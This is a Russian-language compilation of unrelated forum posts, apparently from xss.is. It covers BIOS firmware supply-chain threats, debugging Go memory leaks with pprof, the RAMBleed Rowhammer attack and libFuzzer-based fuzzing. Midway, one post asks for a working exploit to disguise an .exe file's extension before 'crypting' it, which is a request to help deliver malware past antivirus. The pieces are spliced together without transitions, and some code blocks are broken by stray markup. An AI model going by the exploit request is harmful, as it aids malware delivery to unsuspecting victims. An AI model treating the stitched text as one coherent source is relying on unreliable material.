Имплантированные обновления BIOS - зараженные обновления BIOS могут быть доставлены через скомпрометированный веб-сайт поставщика или другой механизм удаленного обновления. Точки компромисса могут включать в себя серверы сборки поставщиков, системы разработчиков или украденные цифровые сертификаты с закрытыми ключами поставщика.
Неаутентифицированный процесс обновления BIOS - нарушенный процесс аутентификации для обновлений BIOS. Это включает поставщиков, которые намеренно не аутентифицируют обновления BIOS и, таким образом, позволяют злоумышленникам применять любые изменения к образам обновлений.
Устаревший BIOS с известными проблемами безопасности - один из наиболее распространенных сбоев безопасности микропрограммы BIOS связан с тем, что разработчики BIOS продолжают использовать более старые уязвимые версии кода даже после исправления базовой базы кода. Устаревшая версия BIOS, изначально поставляемая поставщиком оборудования, скорее всего, не будет обновляться на компьютерах пользователей или серверах центров обработки данных.
Скомпрометированную цепочку поставок очень трудно исправить без изменений в жизненном цикле разработки и производства. Как правило, производственные клиентские или серверные платформы включают множество сторонних компонентов, как в программном, так и в аппаратном обеспечении. Большинство компаний, которые не имеют полного производственного цикла, не слишком заботятся о безопасности.
**(c) Alex Matrosov
Переводчик статьи - **
xss.is
Я работал с Go достаточно долго, внедряя масштабируемую блокчейн- инфраструктуру в Orbs. Мы выбрали Go из-за развитого сообщества и отличного набора инструментов.
На последних стадиях разработки могут возникнуть проблемы, связанные с производительностью, в частности утечки памяти. Мы нашли такую и в нашей системе. В этой статье я расскажу, как исследовать утечку памяти в Go, описав шаги, которые мы предприняли для её поиска.
Набор инструментов Golang имеет свои ограничения, и самое большое из них — невозможность исследовать полные дампы памяти. Полный дамп памяти — это содержимое памяти, занятое процессом, выполняющим программу.
Отображение памяти можно представить в виде дерева. Проход по этому дереву проведёт вас через различные размещения объектов в памяти. Всё, что находится в корне дерева, удерживает память от очистки сборщиком мусора. В Go нет простого способа проанализировать дамп, поэтому сложно добраться до корней объекта, который не очищается как мусор.
На момент написания статьи в Интернете не удалось найти какой-либо способ, который помог бы найти корневой объект, препятствующий освобождению памяти. Поскольку у дампов памяти существует формат, и есть достаточно простой способ экспортировать его из отладочного пакета, вероятно, есть хотя бы один подобный инструмент, который используется в Google. Судя по тому, что можно найти в сети, для Go планируется разработать инструмент для просмотра дампов памяти, но не похоже, чтобы кто-то над этим работал.
Утечки памяти
Утечки памяти (или давление памяти) могут принимать разные формы. Обычно мы
считаем их багами, но истинная причина возникновения может крыться ещё на
стадии проектирования.
Важно построить систему таким образом, чтобы избежать преждевременных оптимизаций и позволить выполнять их позже по мере развития кода, а не перегружать его с самого начала. Некоторые распространённые примеры возникновения проблем с памятью:
Самый простой способ создать утечку памяти в Go — определить глобальную переменную, массив, и добавить в него данные.
Golang предлагает инструмент с именем pprof
. Он может помочь обнаружить
проблемы с памятью. Он также может быть использован при обнаружении проблем в
работе процессора.
pprof
создаёт файл дампа, в который кладёт сэмпл кучи. Этот файл можно потом
проанализировать/визуализировать, чтобы получить карту:
У инструмента есть возможность сравнивать снимки, сделанные в разное время. Это может быть полезно при стрессовых сценариях для определения проблемных областей кода.
Профили pprof
pprof
работает с использованием профилей.
Профиль — это набор трассировок стека, показывающих последовательности вызовов, которые привели к появлению определённого события, например к выделению памяти.
Файл runtime/pprof/pprof.go содержит подробную информацию и реализацию профилей.
Go имеет несколько встроенных профилей, которые можно использовать в обычных случаях:
Профиль allocs
идентичен heap
в отношении сбора данных. Разница
заключается в том, как pprof читает во время запуска. Allocs
запустит pprof
в режиме, который отображает общее количество байтов, выделенных с момента
запуска программы (включая байты, являющиеся мусором). Нам нужно знать
выделение памяти по каждому объекту отдельно, поэтому сосредоточимся на
профиле heap.
Heap
Heap (куча) — это абстрактное представление места, где операционная система
хранит объекты, которые использует код. Впоследствии эта память очищается
сборщиком мусора или освобождается вручную в языках программирования без
сборки мусора.
Куча — не единственное место, где происходит выделение памяти. Часть также выделяется на стеке. Его цель — быстрый доступ к памяти. В Go стек обычно используется для присвоений, которые происходят в рамках функции. Другой момент, где Go использует стек, — когда компилятор «знает», сколько памяти необходимо зарезервировать перед выполнением (например для массивов фиксированного размера).
Данные кучи должны быть освобождены с использованием сборки мусора, в то время как данные стека — нет. Поэтому гораздо эффективнее использовать стек там, где это возможно.
Получение данных кучи с помощью pprof
Есть два основных способа полученить данные. Первый обычно используют в
качестве части теста, и он включает импорт runtime/pprof
и затем вызов
pprof.WriteHeapProfile(some_file)
для записи информации в кучу.
Code:Copy to clipboard
// Функция lookup() берёт профиль
namepprof.Lookup("heap").WriteTo(some_file, 0)[/icode]
[icode]WriteHeapProfile()[/icode] существует для обратной совместимости. Остальные профили не имеют таких возможностей, и вы должны использовать функцию [icode]Lookup()[/icode], чтобы получить данные профилей.
Второй, более интересный способ — пустить его через HTTP (по веб-адресу). Это позволит извлекать конкретные данные из запущенного контейнера в тестовой или e2e-среде или даже из продакшна. [URL='https://golang.org/pkg/net/http/pprof/']Всю документацию пакета[/URL] pprof можно не читать, но как его включить, следует знать.
[code]
import (
"net/http"
_ "net/http/pprof"
)
...
func main() {
...
http.ListenAndServe("localhost:8080", nil)
}
«Побочным эффектом» импорта net/http/pprof является регистрация конечных адресов на веб-сервере в корневом каталоге /debug/pprof. Используя curl, можно получить файлы с информацией для анализа.
Code:Copy to clipboard
$ curl -sK -v http://localhost:8080/debug/pprof/heap > heap.out
Добавление http.ListenAndServe()
в примере выше требуется только в случае,
если ваша программа ранее не имела прослушивателя HTTP-сервера. Существуют
также способы настроить его с помощью ServeMux.HandleFunc()
, который
понятнее для более сложной программы с поддержкой HTTP.
Использование pprof
Есть две основные стратегии анализа памяти с помощью pprof. Одна из них
называется inuse и заключается в рассмотрении текущих выделений памяти (байтов
или количества объектов). Другая носит название alloc и заключается в
просматривании всех выделенных байтов или количества объектов во время
выполнения программы.
Профиль heap является выборкой выделения памяти. «За кулисами» pprof использует функцию runtime.MemProfile(), которая по умолчанию собирает информацию о предоставлении памяти на каждые 512 КБ выделенных байтов. Можно изменить MemProfile() для сбора информации обо всех объектах, но скорее всего это замедлит работу приложения.
Как только файл профиля собран, пришло время загрузить его в интерактивную консоль pprof.
Code:Copy to clipboard
$ go tool pprof heap.out
Посмотрим на отображаемую информацию:
Code:Copy to clipboard
Type: inuse_space
Time: Jan 22, 2019 at 1:08pm (IST)
Entering interactive mode (type "help" for commands, "o" for options)
(pprof)
Здесь важно отметить Type: inuse_space
. Мы смотрим на данные выделения
памяти в определённый момент (когда мы захватили профиль). Тип является
значением конфигурации sample_index
, а возможными значениями могут быть:
inuse_space
— объём выделенной и ещё не освобождённой памяти;inuse_object s
— количество выделенных и ещё не освобождённых объектов;alloc_space
— общий объём выделенной памяти (независимо от освобождённой);alloc_objects
— общее количество выделенных объектов (независимо от освобождённых).Теперь введите top в интерактивной консоли, и на выводе будут главные потребители памяти.
Можно увидеть строку, показывающую Dropped Nodes
(сброшенные узлы). Узел —
это выделение объекта или «узел» в дереве. Удаление узлов — хорошая идея,
чтобы уменьшить количество мусора, но иногда это может скрывать основную
причину утечек памяти.
Если хотите включить все данные профиля, добавьте опцию -nodefraction=0
при
запуске pprof
или введите nodefraction=0
в интерактивной консоли.
В выводимом списке можно увидеть два значения — flat и cum.
flat
означает, что память выделена функцией и удерживается ей;cum
означает, что память выделена функцией или функцией, которая была вызвана стеком.Этой информации может быть достаточно, чтобы понять, есть ли проблема. Например, функция отвечает за выделение большого объёма памяти, но не удерживает её. Это значит, что какой-то другой объект указывает на эту память и удерживает её, то есть может возникнуть утечка памяти или баг.
Команда top
в интерактивной консоли по умолчанию выводит первые 10 позиций
потребителей памяти. Но эта команда поддерживает формат topN
, где N —
количество записей, которые вы хотите увидеть. Например, при наборе top70
,
будут выведены все узлы.
Графическое представление потоков выделения памяти
Команда topN
предоставляет текстовый список, но есть несколько полезных
опций для визуального представления, которые есть в pprof. Можно использовать
.png или .gif и многое другое (полный список можно увидеть по команде go tool pprof -help
).
В нашей системе визуализация по умолчанию выглядит примерно так:
Это визуализация потоков выделения памяти в программе согласно трассировкам стека. Прочитать график не так сложно, как кажется. Белый квадрат с номером показывает выделенное пространство и совокупный объём памяти, который он занимает прямо сейчас. А каждый более широкий прямоугольник показывает выделившую память функцию.
Стоит отметить, что png-изображение выше было снято в режиме inuse_space
.
Ещё обратите внимание на inuse_objects
, это также может помочь в поиске
проблем с выделением.
Копаем глубже, чтобы найти первопричину
В нашем случае membuffers
(библиотека сериализации
данных) удерживает память. Но это
не значит, что обязательно есть утечка в сегменте кода. Это значит, что память
удерживается функцией. Важно понимать, как читать граф и вывод pprof
в
целом. В случае сериализации данных выделяется память для структур и
примитивных объектов (int, string) и никогда не освобождается.
Неверно истолковав график, можно предположить, что один из узлов на пути к сериализации отвечает за сохранение памяти, например:
Где-то в цепочке можно увидеть библиотеку логирования, занимающую > 50 Мб выделенной памяти. Это память, которая выделяется функциями. Логгер в процессе своей работы вызывает выделение памяти, поскольку ему необходимо сериализовать данные для вывода их в журнал.
Из графа также видно, что память удерживается только сериализацией и больше ничем. Объём памяти самого логгера составляет около 30 % от общего объёма. Это значит, что проблема не в писателе. Он регистрирует что-то, чего не должно быть. А значит, утечка памяти не в журнале логов.
Знакомьтесь с командой list
. Она принимает регулярное выражение, которое
будет фильтровать то, что надо отобразить. Список (list) в действительности
представляет собой исходный код с комментариями, относящийся к выделению. В
контексте изучаемого логгера выполним list RequestNew,
чтобы увидеть вызовы,
сделанные в регистраторе. Эти вызовы поступают из двух функций, которые
начинаются с одного и того же префикса.
Выделения памяти находятся в столбце cum
. Это значит, что выделенная память
сохраняется в стеке вызовов. Это соответствует тому, что показывает график.
Причина выделения памяти писателем заключается в том, что мы отправили ему
весь «блокирующий» объект. Нужно было как минимум сериализовать некоторые его
части.
List
может найти исходный код, если искать его в среде GOPATH
. В случаях,
когда корневой объект не совпадает (зависит от вашего сборщика), вы можете
использовать опцию -trim_path
. Она поможет исправить код и позволит увидеть
аннотированный исходный код. Не забудьте установить свой Git на правильный
коммит, который работал во время захвата профиля heap.
Так почему память удерживается?
В случае с Java или .Net можно использовать какой-нибудь анализатор корневых
объектов и добраться до объекта, который создаёт утечку. Но с Go это
невозможно из-за проблем со встроенными инструментами и из-за низкоуровневого
представления памяти.
Не вдаваясь в детали, мы не думаем, что Go запоминает, какой объект по какому адресу хранится (за исключением, возможно, указателей). Для понимания, по какому адресу памяти хранится член объекта (структуры), потребуется карта вывода из профиля heap. Значит, перед захватом полного дампа ядра следует также захватить профиль heap, чтобы адреса могли быть сопоставлены с выделившими память строкой и файлом, а следовательно и объектом, представленным в памяти.
Установив значение nodefraction=0
, можно увидеть всю карту выделенных
объектов, включая самые маленькие.
У нас есть два новых поддерева. Более длинное новое дерево зеленого цвета, которое полностью отсоединено от остальной системы, является тестовым прогоном, оно нам не интересно.
Небольшое поддерево синего цвета, соединённое ребром со всей системой, — это
inMemoryBlockPersistance
. Это бэкенд, который хранит все данные в памяти, но
не сохраняет их на диске. Можно сразу увидеть, что в нём находятся два больших
объекта. Два — потому что размер объекта составляет 1,28 Мб, а функция
сохраняет 2,57 Мб, то есть в два раза больше.
Теперь проблема отчётливо ясна. Можно использовать отладчик и увидеть, что всему виной массив, который удерживает все блоки для постоянства памяти.
Что можно исправить?
Десериализованные данные занимали слишком много памяти. Откуда взялось 142 Мб
для чего-то, что должно занимать существенно меньше памяти? Здесь может помочь
pprof — он существует именно для того, чтобы точно отвечать на такие вопросы.
Чтобы просмотреть исходный код функции, запустим lazyCalcOffsets()
. Теперь
можем увидеть, что flat и cum одинаковы. Это указывает на то, что выделенная
память также сохраняется этими точками выделения. Функция make() тоже занимает
немного памяти, т. к. это указатель на структуру данных. Ещё можно увидеть,
что занимает память выделение в строке 43.
Следует отметить, что функция make()
в Go позволяет делать не только
отображения, но и срезы. Присвоение
отображению не то же самое, что присвоение простой переменной — использование
переменных предполагает большие издержки ресурсов. Чем больше элементов, тем
больше будут эти издержки по сравнению со срезом.
При использовании map[int]T
когда данные не редки или могут быть
преобразованы в последовательные индексы и потребление памяти является важным
фактором, для большей эффективности следует использовать срез. Однако большой
срез при расширении данных может замедлить операцию, в то время как для
отображения это замедление будет незначительным. Как вы уже поняли, не
существует волшебной формулы для оптимизации.
В нашей системе мы теперь используем срез вместо отображения. Из-за способа получения данных и того, как мы получаем к ним доступ, кроме пары строк и структуры данных, никаких других изменений кода не потребовалось. Посмотрим, как это повлияло на потребление памяти.
Взглянем на benchcmp
для пары тестов.
Тесты на чтение инициализируют структуру данных, которая создаёт выделения. Время выполнения улучшилось на ~30 %, выделение сократилось на 50 %, а потребление памяти > 90 %.
Поскольку отображение (теперь уже срез) никогда не было заполнено большим количеством элементов, цифры показывают то, что мы увидим в продакшене. Результат зависит от энтропии данных, но могут быть случаи, когда улучшение как выделения, так и потребления памяти было бы ещё больше.
Ещё раз задействовав pprof и захватив профиль heap из того же теста, можно увидеть, что теперь потребление памяти фактически сократилось на ~90 %.
Вывод прост — для небольших наборов данных не следует использовать отображения, достаточно срезов. Отображения имеют большие издержки.
Полный дамп памяти
Именно здесь можно наблюдать самое большое ограничение инструментов Go. Этот
язык развивается большими темпами, но это развитие имеет свою цену в случае
полного дампа и выделения памяти. Формат полного дампа кучи по мере своих
обновлений является обратно не совместимым. Помните это, когда будете
использовать последнюю
версию. Для
записи полного дампа кучи вы можете использовать debug.WriteHeapDump().
Следует также отметить, что не существует хорошего решения для изучения полных дампов. Вот некоторые вещи, которые стоит игнорировать, если собираетесь попробовать открыть полный дамп самостоятельно, начиная с Go 1.11:
Ещё одна важная деталь о pprof — это его интерфейс. Он может сэкономить много времени при исследовании проблем профилей, созданных с помощью pprof.
Автор [оригинала](https://www.freecodecamp.org/news/how-i-investigated-memory-
leaks-in-go-using-pprof-on-a-large-codebase-4bec4325e192/) — Джонатан Левисон
Автор перевода — Александр Морозов
Команда исследователей из США, Австралии и Австрии разработала новый вариант атаки Rowhammer. В отличие от предыдущих версий новая атака под названием RAMBleed позволяет не только модифицировать данные и повышать привилегии, но и похищать хранящиеся на устройстве данные.
Rowhammer – это класс эксплоитов для аппаратной уязвимости (CVE-2019-0174) в современных картах памяти. По умолчанию данные в картах памяти хранятся в ячейках, расположенных на кремниевом чипе в рядах, образующих сетку. В 2014 году ученые обнаружили, что многократное чтение данных, хранящихся в одном ряду, приводит к возникновению электрического заряда, способного влиять на данные в соседних рядах. Атака получила название Rowhammer, и с ее помощью ученые могли либо повреждать данные, либо использовать их в вредоносных целях.
С 2014 года исследователи существенно расширили возможности оригинальной атаки, однако изъять из памяти и похитить данные с ее помощью удалось только сейчас.
Для того чтобы RAMBleed стала возможной, ученым удалось заставить распределитель памяти Linux (buddy allocator) выделить большой блок памяти последовательных физических адресов, позволивший им оркестровать атаку. Исследователи создали новый механизм «Frame Feng Shui» для размещения страниц программы жертвы в нужном месте физической памяти. Кроме того, они разработали новый метод управления данными в памяти и повторяющего их чтения (так называемый row hammering) для определения, какие данные находятся в соседних ячейках памяти.
Источник:
https://www.securitylab.ru/news/499451.php
Подробнее тут: https://rambleed.com/
Доброе время суток! Нужен рабочий эксплоит для маскировки расширения. Изначальный файл .exe, крипт будет. Если есть что-то рабочее ,отпишитесь пожалуйста
Когда количество строчек кода в твоих программах исчисляется миллионами, поиск ошибок осложняется тысячекратно. К счастью, сегодня есть возможность автоматизировать тестирование с помощью фаззеров. Как они работают, почему их стоит применять и на что они способны — об этом ты узнаешь в сегодняшней статье.
Традиционная практика тестирования предполагает, что на вход программы подаются самые разные данные — корректные, почти корректные и граничные случаи. Это позволяет убедиться, что в целом код работает правильно и серьезных ошибок в логике работы нет. Однако при этом качество проверки целиком зависит от качества тестов и их количества.
Поэтому всегда есть вероятность того, что какой-то важный случай был упущен, не вошел в фиксированный набор тестов и наш код все-таки содержит ошибку, которую достаточно талантливый хакер сможет эксплуатировать. Так что даже положительный результат не следует рассматривать как повод прекратить тестирование. Но ведь и слепо перебирать все возможные значения — тоже не вариант, никаких ресурсов не хватит.
Фаззинг берет лучшее от двух существующих подходов. Мы не ограничиваем себя конечным количеством тестовых случаев и постоянно генерируем случайные входные данные для нашего кода, но при этом каждая новая последовательность использует информацию из предыдущих попыток для максимизации результата.
Сразу возникает резонный вопрос — могут ли случайные данные что-то протестировать в действительности? Предположим, мы хотим проверить компилятор С/C++ и посылаем на вход сгенерированные последовательности символов. Совершенно очевидно, что мы получим много ошибок от компилятора на стадии лексикографического анализа и парсера выражений, но при этом едва затронем оптимизацию и генерацию кода. Выглядит не очень-то эффективно, согласись. К счастью, это напрасное опасение.
Где можно применять фаззинг
Фаззинг можно успешно использовать везде, где на входе требуются сложные
данные. Тривиальные случаи решаются простым перебором, но если у тебя есть
хотя бы десять байт входных данных, то 280 уже создают проблему при
тестировании, и обычные тесты тут вряд ли справятся.
Именно поэтому самые распространенные случаи применения фаззинга приходятся на различные парсеры (XML, JSON), мультимедиакодеки (аудио, видео, графика), сетевые протоколы (HTTP, SMTP), криптографию (SSL/TLS), браузеры (Firefox, Chrome) и компрессию файлов (ZIP, TAR). Также целями фаззинга могут быть компиляторы (C/C++, Go), интерпретаторы (Python, JS), библиотеки для обработки регулярных выражений (regexp), базы данных (SQL) и комплекты офисных приложений (LibreOffice).
Чрезвычайно важен сегодня и фаззинг операционных систем, различных гипервизоров и виртуальных машин. Так что мы в Google даже запустили специальный фаззер syzkaller, который непрерывно тестирует несколько сборок ядра Linux, FreeBSD, NetBSD, а также Android и ChromeOS.
Резюмируем: фаззинг абсолютно необходим для тех программ, которые работают на границе доверия и используют входные данные из ненадежных источников.
Санитайзеры
Прежде чем мы перейдем к основной теме статьи, следует немного рассказать о
санитайзерах. Это инструменты для динамического тестирования, помогающие в
поиске самых разных ошибок в программах. Переполнение буферов (глобальных, на
стеке или в куче), использование после освобождения, утечки памяти, обращение
к неинициализированным переменным — все это повод для использования
санитайзеров.
Однако работой с памятью их возможности не ограничиваются. Они также позволяют обнаруживать состояние гонки для потоков, ситуации взаимной блокировки, обращения по нулевому указателю, деление на ноль (куда же без него), переполнения для типов данных и некорректные битовые сдвиги — одним словом, солидную часть ошибок, которые вызывают неопределенное поведение в программах.
Санитайзеры очень помогают во время отладки. Для их использования достаточно скомпилировать исходники с включенной инструментацией, которая добавит специальные команды в исполняемый файл. По ним можно будет следить за ходом выполнения программы и состоянием памяти. При обнаружении ошибок будет сгенерирован отладочный вывод и программа завершит работу.
Сегодня работу с санитайзерами поддерживают компиляторы GCC и Clang. Настоятельно рекомендую обратить на них внимание. Мало просто сгенерировать фаззером некорректные входные данные, которые обрушат программу. Ошибку следует устранить, а для этого надо собрать максимум информации. Именно в этом и помогают санитайзеры. Их совместное использование повышает эффективность тестирования. Так что в некотором смысле фаззеры и санитайзеры созданы друг для друга.
Типы фаззеров
Существует несколько основных типов фаззеров, они отличаются подходами к
генерации входных данных. Некоторым для работы требуется стартовый набор
примеров, другим нужны правила, по которым эти примеры могут быть выведены.
Важную роль также играет случайность, которая позволяет фаззерам создавать все
новые и новые входы.
На основе грамматики
Таким фаззерам для работы требуется определенный набор правил — грамматика для
построения входных данных. Как только фаззеру будут известны эти правила, он
сможет генерировать новые комбинации на их основе. При этом можно позволить
себе иногда отклоняться от грамматики и не всегда следовать ей, подавая на
вход тестируемой программы некорректные данные.
Подобные фаззеры генерируют хорошие, достоверные последовательности, доля случайности в них относительно невелика. Однако важно понимать, что писать такие фаззеры — дело трудоемкое. Во-первых, грамматику следует определить самостоятельно (в редких случаях можно взять уже готовую). Во-вторых, качество работы фаззера будет напрямую зависеть от той грамматики, что ему передали.
На основе мутаций
Такой тип фаззеров на каждом этапе случайным образом изменяет входные данные
из предыдущих попыток. При этом для старта ему требуется набор
репрезентативных входов (корпус), который будет использоваться для дальнейших
мутаций. В качестве корпуса можно взять данные пользователей или существующие
тесты. Во время своей работы такой фаззер слегка изменяет готовые
последовательности (переставляя биты и байты), комбинирует и сочетает их
вариации и подает в программу.
При этом никаких дополнительных усилий от разработчика тут не требуется (разве что написание специальных алгоритмов мутаций), но и качество входных данных у таких фаззеров обычно среднее.
Построение грамматики по данным
Также есть способ сочетать оба описанных выше подхода. Специалисты по
обработке данных и машинному обучению могут попытаться построить грамматику на
основе уже имеющейся информации. Однако оценить результат на выходе таких
фаззеров зачастую непросто.
На основе покрытия кода
Подобные фаззеры устроены по принципу генетического алгоритма и стремятся
максимизировать покрытие тестового кода. С практической точки зрения это один
из самых эффективных на сегодня типов фаззеров. На этой основе работает
libFuzzer, и о нем я расскажу
подробнее.
Упрощенно работу фаззера в форме псевдокода можно представить так:
Code:Copy to clipboard
Build the program with source coverage instrumentation;
Collect the initial corpus of inputs (optional, but recommended);
while (true) {
Choose a random input from corpus and mutate it;
Run the target program on the input, collect code coverage;
If the input gives new coverage, add mutation back to corpus;
}
Сперва программа компилируется с инструментацией по покрытию кода. Это позволяет нам при прогоне программы понять, какие строчки кода были исполнены по факту. Дальше собирается репрезентативный корпус данных. На самом деле это опциональный шаг, можно начать с пустого набора данных. Дальше фаззер выбирает один из вариантов, мутирует его и подает на вход программы. Если при этом было получено новое кодовое покрытие, успех фиксируется и данные добавляются в набор.
Попытаемся теперь оценить, насколько эффективен этот алгоритм и почему он вообще работает. В качестве примера возьмем такой код:
Code:Copy to clipboard
if (input[0] == `1`) {
if (input[1] == `3`) {
if (input[2] == `3` && input[3] == `7`) {
// Potential out-of-bounds write
input[input[4]] = input[5];
}
}
}
Чтобы попасть на строчку кода с потенциальной ошибкой, нам нужно правильно угадать четыре байта входного потока. Если использовать простой перебор «грубой силой», это потребует от нас около 232 попыток. Крайне расточительно! Попробуем взглянуть, как с такой задачей справится фаззер.
Если входной корпус пуст и не содержит никаких данных, результат первых попыток окажется полностью случайным. Это будет продолжаться ровно до того момента, пока фаззер не угадает первый байт. На это потребуется порядка 28 итераций. При этом фаззер зафиксирует новое покрытие, и правильный вход будет наконец добавлен в корпус.
Следующие попытки используют полученный результат в качестве отправной точки и последовательно улучшают наше покрытие. Легко подсчитать, что с таким подходом потребуется проверить порядка 210 вариантов, чтобы обнаружить ошибку. По сути, мы уменьшили число вариантов более чем в миллион раз и свели экспоненциальную проблему к полиномиальной, что очень неплохо.
INFO
Если пример выше тебя не впечатлил и кажется слишком простым, рекомендую
почитать заметку в блоге создателя AFL Михала Залевского — [Pulling JPEGs out
of thin air](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-
air.html). В качестве демонстрации возможностей фаззеров Залевский
синтезировал корректный файл формата JPEG (со всеми полями и заголовками)
практически из ничего. И да, судя по результатам, его фаззер явно неравнодушен
к абстрактному искусству.
При этом на каждом этапе изменения данных в корпусе вовсе не обязаны быть
сложными. Мы можем просто переставлять, добавлять, удалять или инвертировать
отдельные биты или байты в одном входе. Допустимо скрещивать различные входы,
получая новые данные для следующих итераций. Или добавлять данные из какого-
либо словаря. Можно использовать «магические цифры», которые должны
генерировать ошибки в граничных случаях. Например, 2 ** 8, 2 ** 31, 2 ** 32 +
1 и так далее.
Впрочем, это только тривиальные способы. Справится ли фаззер с такими условиями в коде?
Code:Copy to clipboard
if (*(uint64_t*)input == 0xDEADBEEFCAFEBABE) {
…
}
if (crc32(input + 4, size - 4) == *(uint32_t*)input) {
…
}
Описанный выше процесс последовательной мутации тут уже не сработает — для увеличения покрытия и продвижения по коду условие нужно угадать сразу и целиком. Поэтому мы разработали несколько подходов, которые перехватывают такие сравнения при инструментации (-fsanitize-coverage=trace-cmp). Это позволяет в момент исполнения получить доступ к операндам и добавить их в корпус. Также поддерживаются сравнения в функциях strcmp и memcmp.
И это открывает для нас новые возможности. Если взять «правильный» операнд и вставить в определенное место в нашей входной последовательности, то ветвление в коде можно будет проскочить за одну попытку.
Другой способ основан на расстоянии Хэмминга. Мы считаем число различных битов в операндах, и, если в ходе мутации нам удалось как-то сократить это расстояние, вход запоминается для дальнейшего использования. Таким образом мы последовательно приближаемся к необходимому значению.
Пример фаззинга
Чтобы написать фаззер на основе libFuzzer, надо сделать ровно две вещи. Во-
первых, реализовать свою функцию Fuzz Target, которая будет передавать данные
в тестируемую программу. Во-вторых, программу нужно скомпилировать с
инструментацией и скомпоновать с библиотекой libFuzzer. Наибольшие трудности в
C++ обычно вызывает именно последний этап, но мы разберем оба.
Code:Copy to clipboard
/* example for boost::regex library */
int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
try {
std::string str((char*)Data, Size);
boost::regex e(str);
}
catch (const std::exception&) {}
return 0;
}
Исключения здесь пришлось перехватить, так как библиотека regex оповещает о некорректных выражениях именно с помощью исключений. Как видишь, код очень простой и не требует каких-то особых знаний о фаззерах. Данные Data генерирует непосредственно библиотека libFuzzer, и их нужно лишь направить в правильную функцию.
Второй шаг — это собрать все в один исполняемый файл. Собирать будем с санитайзерами и инструментацией кода.
Code:Copy to clipboard
$ ./b2 cxxflags="-fsanitize-coverage=trace-pc-guard -fsanitize=address" toolset=clang install
Первый флажок компилятора добавляет инструментацию для покрытия кода в исполняемый файл, второй отвечает за работу ASan — санитайзера адресов.
Code:Copy to clipboard
$ clang++ fuzzer.cc -fsanitize-coverage=trace=pc-guard -fsanitize=address libFuzzer.a
На этом этапе мы собираем сам фаззер (с теми же флажками компилятора) и компонуем его с библиотекой libFuzzer. Именно в ней происходит основной цикл фаззинга, и лишь изредка управление передается нашей функции.
Работа фаззера была плодотворной, и уже через полчаса он нашел в коде несколько ошибок, причем некоторые были достаточно серьезными, в том числе с переполнением стека. За подробностями ты можешь обратиться на сайт проекта. Стоит отметить, что все ошибки были оперативно устранены авторами библиотеки. Но, я думаю, всегда можно попытаться нафаззить что-то еще.
INFO
Фаззинг — процесс все-таки случайный, и заранее никогда нельзя угадать,
сколько времени потребуется, чтобы обнаружить новую ошибку. Если ты хочешь
сперва потренироваться на готовом примере, рекомендуем начать с практической
части из нашей предыдущей статьи по этой
теме.
Поиск логических ошибок
Одна из наиболее интересных особенностей фаззеров — их возможность
обнаруживать логические ошибки в программах. Когда ничего особо криминального
как будто не происходит, но при этом программа все равно ведет себя
некорректно и выдает неправильный результат. Зачастую с помощью фаззеров можно
находить много таких ошибок.
До этого момента мы в основном обсуждали явные падения, связанные со стабильностью и безопасностью работы. Но с помощью фаззинга можно находить ошибки и в логике работы программы. На первый взгляд кажется, что это малореально, ведь кто-то должен заранее сообщить фаззеру правильный результат для каждого входа из корпуса.
К счастью, если проявить немного смекалки, способы все равно есть. Например, результаты можно проверять на достоверность, хотя бы приблизительно. Другими словами, выход программы должен выглядеть разумно (а не в стиле «полтора землекопа»).
Скажем, если работает декодер несжимающего формата изображений и для файла в 100 байт на выходе получается 100 Мбайт, то тут явно где-то ошибка. Или если известно, что в правильном выходе должна содержаться какая-то определенная строчка или заголовок, а они отсутствуют — это тоже повод задуматься.
Если наш процесс обратим, то результаты можно попробовать прогнать через взаимнообратную функцию и сравнить. Это может быть случай шифровки и дешифровки сообщений, архивации и разархивации файлов и прочее. Выход должен быть при этом равен исходному вводу.
Порой мы все-таки знаем правильный результат и нам есть с чем сравнивать. Например, если ты хочешь фаззить какую-нибудь специфичную реализацию сортировки, которая знает о данных что-то дополнительно и использует это для более эффективной работы, — результат всегда можно сравнить со стандартными функциями и убедиться, что данные на выходе отсортированы в правильном порядке.
Еще один прием основан на сравнении двух реализаций. При этом нужно заранее проверить обе программы: они должны выдавать один и тот же результат на одинаковых данных. Или хотя бы синхронно генерировать схожие ошибки в случае некорректного входа. Конечно, писать новую библиотеку только для фазз-тестов мало кому хочется, но всегда можно попробовать найти альтернативы в свободном доступе.
И разумеется, сторонняя реализация необязательно должна быть на том же языке. Либо это может быть простой и неоптимизированный код против сложного. В любом случае варианты всегда найдутся, стоит только дать волю воображению!
Как фаззят в Google
Почему вообще фаззинг используют в Google? Разработка сегодня стала быстрее, и
кода у нас очень много. Корректность кода очень важна, стабильность все еще
важна, а безопасность, разумеется, на первом месте. В такой ситуации нужно
двигаться быстро, но при этом держать под контролем стоимость разработки.
Просто нанять больше разработчиков уже не получается, на рынке труда нет
столько квалифицированных кадров.
Традиционное тестирование в такой ситуации уже не работает и не справляется с ростом кодовой базы. Уход в автоматическое тестирование с помощью фаззинга на этом фоне выглядит логичным решением. Для этого мы призываем разработчиков писать фазз-тесты. Они подхватываются системой фаззинга и добавляются в остальной набор тестов.
Также у нас на серверах развернут [OSS-Fuzz](https://github.com/google/oss- fuzz). Это система непрерывного фаззинга проектов с открытыми исходниками. Сегодня на него подписано уже более 200 проектов. Если у тебя есть востребованная и достаточно популярная библиотека, то ты можешь поучаствовать. С тебя — фаззер и инструкции по сборке последней версии, с нас — хостинг на кластере и гарантированный поток обнаруженных ошибок.
В 2017 году результаты работы этого проекта выглядели следующим образом: более двух тысяч найденных ошибок в шестидесяти проектах с открытым кодом. На сегодняшний день число подписанных на сервис проектов увеличилось более чем в три раза, а количество ошибок перевалило за десять тысяч. Около 35% этих ошибок — неопределенные ситуации, найденные с помощью санитайзера ubsan, примерно 15% — ошибки при работе с памятью и переполнение буферов, и более 10% — это другие ошибки самого разного рода.
Также у нас есть родственная система ClusterFuzz для браузера Chromium. Сегодня она поддерживает более 350 фаззеров, основная часть из них на libFuzzer и AFL, но есть и совершенно кастомные вещи. Система автоматически добавляет информацию о найденных ошибках и тестирует присланные решения.
Кроме того, мы стараемся популяризовать фаззинг за пределами Google — мы проводим фаззатоны (по аналогии с хакатонами), недели фаззинга и выступаем с докладами на профильных конференциях.
Как-то я задался вопросом: а сколько всего ошибок мы обнаружили с помощью фаззинга? В 2017 году эта цифра была порядка пятнадцати тысяч, во всех наших проектах. То ли код у нас слишком плохой, то ли фаззеры слишком хорошие — я так пока еще и не определился.
Выводы
Фаззинг — это ни в коем случае не панацея. Он не заменяет другие методики
тестирования, но и его заменить нельзя. Самое главное — это рабочая техника,
